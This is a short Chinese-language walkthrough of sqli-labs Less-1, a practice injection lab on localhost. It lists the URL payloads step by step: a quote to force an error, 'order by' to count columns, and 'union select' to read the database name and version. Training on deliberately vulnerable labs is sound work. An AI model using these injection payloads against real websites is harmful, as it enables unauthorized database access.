sqli-labs靶场-Less-1 GET-Error based- Single quotes String – 作者:知非知非知非

22次阅读
没有评论

sqli-labs靶场-Less-1 GET-Error based- Single quotes String - 作者:知非知非知非

请输入ID作为参数,使用数字的数值!

http://localhost/sqli-labs/Less-1/?id=1

sqli-labs靶场-Less-1 GET-Error based- Single quotes String - 作者:知非知非知非

一直到12,都是对应的输出!

sqli-labs靶场-Less-1 GET-Error based- Single quotes String - 作者:知非知非知非

这里我们需要报错!!!

http://localhost/sqli-labs/Less-1/?id=12’

sqli-labs靶场-Less-1 GET-Error based- Single quotes String - 作者:知非知非知非

http://localhost/sqli-labs/Less-1/?id=12%27order%20by%204–%20-提示没有第四列!!

sqli-labs靶场-Less-1 GET-Error based- Single quotes String - 作者:知非知非知非

http://localhost/sqli-labs/Less-1/?id=12%27order%20by%203–%20-修改为3,显示正常,证明当前表共有3列!!!

sqli-labs靶场-Less-1 GET-Error based- Single quotes String - 作者:知非知非知非

http://localhost/sqli-labs/Less-1/?id=-1%27union%20select%201,2,3–%20-,查看那一列可以显示出来!!!!

sqli-labs靶场-Less-1 GET-Error based- Single quotes String - 作者:知非知非知非

http://localhost/sqli-labs/Less-1/?id=-1%27union%20select%201,database(),version()–%20-查看数据库及数据库版本!!!!

sqli-labs靶场-Less-1 GET-Error based- Single quotes String - 作者:知非知非知非

来源:freebuf.com 2021-07-30 07:53:51 by: 知非知非知非

正文完
 0
评论(没有评论)